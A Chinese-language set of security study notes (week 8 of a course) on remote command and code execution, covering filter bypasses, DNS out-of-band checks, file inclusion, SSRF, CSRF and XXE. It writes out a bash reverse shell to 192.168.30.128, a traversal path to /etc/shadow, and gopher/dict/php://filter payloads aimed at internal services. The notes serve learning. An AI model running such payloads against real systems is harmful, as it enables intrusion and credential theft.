跳到主要内容

第 8 周

· 阅读需 3 分钟
Hsieh
Hsieh
提示

服务端漏洞的终结武器,深度学习远程命令执行(RCE)与远程代码执行(RCE)攻击技术。本篇涵盖命令注入的多种绕过手法、反弹 Shell 与 DNS 外带验证技巧、文件包含漏洞的利用方式,以及 SSRF 与 CSRF 攻击的原理与实战,掌握服务端安全的核心漏洞攻击链。

RCE​

remote command/code excute

远程命令执行​

用户可以执行指定远程命令

  • 通过逻辑运算拼接非指定的操作系统命令

  • 使用黑名单过滤 && 和 :, 仍可使用 | 绕过

  • | 被加入黑名单时, | 不跟空格亦可绕过

getshell​

  • base64 编码绕过
  • Hex 编码绕过
  • 分块写入

反弹 shell​

  1. 在肉鸡上使用 nc 命令监听
# 连接
nc [-options] hostname port[s] [ports]

# 监听
nc -l -p port [-options] [hostname] [port]

  1. 目标机器上执行反弹 shell, 标准输出和标准输入均重定向到肉鸡
bash -c 'bash -i >& /dev/tcp/192.168.30.128/9999 0>&1

注意: /dev/tcp 为 bash 特有的伪设备, 其他 shell 不支持会如下报错

  1. 获取到目标机器的 shell

DNS 外带验证​

当无回显时, 通过逻辑操作拼接 ping 命令, 判断是否有 RCE 漏洞

  1. 通过 dnslog 获取随机子域名, 验证是否接收到请求

  1. 刷新如果有请求记录, 说明一定存在 RCE 漏洞, 未收到不能完全说明没有 RCE 漏洞

远程代码执行​

用户输入被作为代码的一部分进行执行

文件包含​

服务端对用户侧生成的路径拼接参数没有校验, 拼接 ../../etc/shadow 等

  1. URL 的 file 参数值没有做限制

  1. 构造参数, 读取解析通过上传到服务器的图片木马

服务端请求伪造​

Server-Side Request Forgery, 通过服务器作为代理, 请求其他资源

  • 利用伪协议 ?file=php://filter/read=convert.base64-encode/resource= 读取内网文件

  • 进行base64解码, 拿到数据库配置信息

常用伪协议​

  1. gopher://
  • 构造任意 tcp 流量包
  • paload 示例: ?url=gopher://127.0.0.1:6379/_*payload
  1. dict://
  • 探测服务指纹
  • paload 示例: ?url=dict://127.0.0.1:6379/info
  1. netdoc://
  • 仅 java 环境, 类似 file:// 读取文件

跨站请求伪造​

Cross-Side Request Forgery, 利用浏览器自动带上 cookie 机制, 诱导用户点击恶意链接执行黑客想要的操作

XXE​

XML 外部实体注入, XML 允许引用外部实体时, 可利用各种协议构造恶意请求

  • 利用 Collaborator 或 dnslog 构造 payload 测试是否存在 xxe 漏洞

  • 观察到有回显则存在漏洞

  • 构造 payload, 读取敏感文件